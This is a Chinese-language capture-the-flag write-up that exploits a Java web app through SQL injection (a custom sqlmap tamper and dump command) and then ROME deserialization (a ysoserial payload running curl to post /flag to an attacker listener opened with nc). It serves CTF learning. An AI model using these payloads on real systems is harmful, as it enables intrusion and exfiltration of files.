源文件代码审计
这里使用IDEA打开
Test.class


可以看到这里使用了swagger进行接口的测试,并且在/common/test/sqlDict路径下发送了POST请求,请求参数为dbName
Row和Table
都是实体类,没有什么重点
SqlDict.class



可以看到他是用于数据库连接和查询的,接受Test传来的dbName值,并且已知一个数据库myapp
此时可以对/common/test/sqlDict路径进行简单的测试:

sql注入——sqlmap的tamper编写
测试是否存在sql注入:

那么构造的payload结构是:dbName=myapp# + sql语句# 第一个#是用于在java代码中注释后面的部分使其能够正常访问到数据库
构造tamper:- #!/usr/bin/env python
- from lib.core.enums import PRIORITY
- __priority__ = PRIORITY.NORMAL
- def dependencies():
- pass
- def tamper(payload, **kwargs):
-
- result = "myapp#"+payload
- return result
复制代码 然后运行sqlmap进行SQL注入
sqlmap.py -r 1.txt -p dbName --tamper=thinkjava.py -batch -T user --dump

swagger页面接口测试
swagger是用于进行后端API接口测试的,通常需要访问/swagger-ui.html这个页面

此时我们可以通过SQL注入获得的账户去测试登录接口:

登录成功后会返回一串data,rO0AB的开头,这个就是进行base64加密的序列化内容
将rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu
转为16进制:
aced000573720018636e2e6162632e636f72652e6d6f64656c2e55736572566f764643317b04f43a0200024c000269647400104c6a6176612f6c616e672f4c6f6e673b4c00046e616d657400124c6a6176612f6c616e672f537472696e673b78707372000e6a6176612e6c616e672e4c6f6e673b8be490cc8f23df0200014a000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000000000000174000561646d696e
使用SerializationDumper工具查看16进制序列化内容
https://github.com/NickstaDB/SerializationDumper
点击查看代码- STREAM_MAGIC - 0xac ed
- STREAM_VERSION - 0x00 05
- Contents
- TC_OBJECT - 0x73
- TC_CLASSDESC - 0x72
- className
- Length - 24 - 0x00 18
- Value - cn.abc.core.model.UserVo - 0x636e2e6162632e636f72652e6d6f64656c2e55736572566f
- serialVersionUID - 0x76 46 43 31 7b 04 f4 3a
- newHandle 0x00 7e 00 00
- classDescFlags - 0x02 - SC_SERIALIZABLE
- fieldCount - 2 - 0x00 02
- Fields
- 0:
- Object - L - 0x4c
- fieldName
- Length - 2 - 0x00 02
- Value - id - 0x6964
- className1
- TC_STRING - 0x74
- newHandle 0x00 7e 00 01
- Length - 16 - 0x00 10
- Value - Ljava/lang/Long; - 0x4c6a6176612f6c616e672f4c6f6e673b
- 1:
- Object - L - 0x4c
- fieldName
- Length - 4 - 0x00 04
- Value - name - 0x6e616d65
- className1
- TC_STRING - 0x74
- newHandle 0x00 7e 00 02
- Length - 18 - 0x00 12
- Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
- classAnnotations
- TC_ENDBLOCKDATA - 0x78
- superClassDesc
- TC_NULL - 0x70
- newHandle 0x00 7e 00 03
- classdata
- cn.abc.core.model.UserVo
- values
- id
- (object)
- TC_OBJECT - 0x73
- TC_CLASSDESC - 0x72
- className
- Length - 14 - 0x00 0e
- Value - java.lang.Long - 0x6a6176612e6c616e672e4c6f6e67
- serialVersionUID - 0x3b 8b e4 90 cc 8f 23 df
- newHandle 0x00 7e 00 04
- classDescFlags - 0x02 - SC_SERIALIZABLE
- fieldCount - 1 - 0x00 01
- Fields
- 0:
- Long - L - 0x4a
- fieldName
- Length - 5 - 0x00 05
- Value - value - 0x76616c7565
- classAnnotations
- TC_ENDBLOCKDATA - 0x78
- superClassDesc
- TC_CLASSDESC - 0x72
- className
- Length - 16 - 0x00 10
- Value - java.lang.Number - 0x6a6176612e6c616e672e4e756d626572
- serialVersionUID - 0x86 ac 95 1d 0b 94 e0 8b
- newHandle 0x00 7e 00 05
- classDescFlags - 0x02 - SC_SERIALIZABLE
- fieldCount - 0 - 0x00 00
- classAnnotations
- TC_ENDBLOCKDATA - 0x78
- superClassDesc
- TC_NULL - 0x70
- newHandle 0x00 7e 00 06
- classdata
- java.lang.Number
- values
- java.lang.Long
- values
- value
- (long)1 - 0x00 00 00 00 00 00 00 01
- name
- (object)
- TC_STRING - 0x74
- newHandle 0x00 7e 00 07
- Length - 5 - 0x00 05
- Value - admin - 0x61646d696e
复制代码 可以猜测到这个内容是与用户信息有关的,正好还有一个接口:`/common/user/current` 是用来获取用户信息将data内容输入到该接口中
分析反序列化利用点
使用burp插件java Deserialization Scanner



显示可以利用ROME
ysoserial反序列化工具使用
工具地址:https://github.com/frohoff/ysoserial/releases
java -jar .\ysoserial-all.jar ROME "curl http://ip:port -d @/flag" > flag.bin
然后记得将flag.bin文件转base64编码,这里附上我的脚本,可以将base64与16进制互相转换,也可以将bin文件转为base64
-r [bin文件路径] -base64 [当前编码为base64] -hex [当前编码为16进制] -code [需要转码的内容]
点击查看代码- import base64
- import sys
- import os
- def base64_to_hex(b64):
- b64 = b64.replace(' ', '') # Remove spaces
- pad_len = len(b64) % 4
- if pad_len > 0:
- b64 += '='* (4-pad_len)
-
- return base64.b64decode(b64).hex()
- def hex_to_base64(hex_str):
- byte_string = bytes.fromhex(hex_str)
- return base64.b64encode(byte_string).decode()
-
-
- if __name__ == '__main__':
- encode_type = None
- code = None
- file_path = None
-
- for i in range(1, len(sys.argv)):
- if sys.argv[i] == '-code':
- code = sys.argv[i+1]
- i += 1
- elif sys.argv[i] == '-base64':
- encode_type = 'base64'
- elif sys.argv[i] == '-hex':
- encode_type = 'hex'
- elif sys.argv[i] == '-r':
- file_path = sys.argv[i+1]
- i += 1
-
- if encode_type is None and code is None and file_path is None:
- print('Usage: python code_convert.py [-base64/-hex] [-r file_path] [-code "code_string"]')
- sys.exit(1)
-
- #直接把bin文件内容转为base64
- if file_path:
- with open(os.path.abspath(file_path), 'rb') as f:
- code = f.read()
- fbase64 = base64.b64encode(code)
- print(fbase64)
- file.close
-
- else:
-
- if code:
- if encode_type == 'base64':
- hex_result = base64_to_hex(code)
- print(f'Base64 {code} to Hex: {hex_result}')
- elif encode_type == 'hex':
- b64_result = hex_to_base64(code)
- print(f'Hex {code} to Base64: {b64_result}')
-
- if encode_type is None or code is None:
- print('Usage: python code_convert.py [-base64/-hex] -code "code_string"')
- sys.exit(1)
-
- if encode_type == 'base64':
- hex_result = base64_to_hex(code)
- print(f'Base64 {code} \n to Hex: {hex_result}')
- elif encode_type == 'hex':
- b64_result = hex_to_base64(code)
- print(f'Hex {code} \n to Base64: {b64_result}')
复制代码 这里运行:
python3 hex-base64.py -r .\flag.bin
然后远程主机监听对应端口
nc -lvp port
再将编码好的base64编码(开头为rO0AB ,记得加上Bearer)放到 /common/user/current 接口运行

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |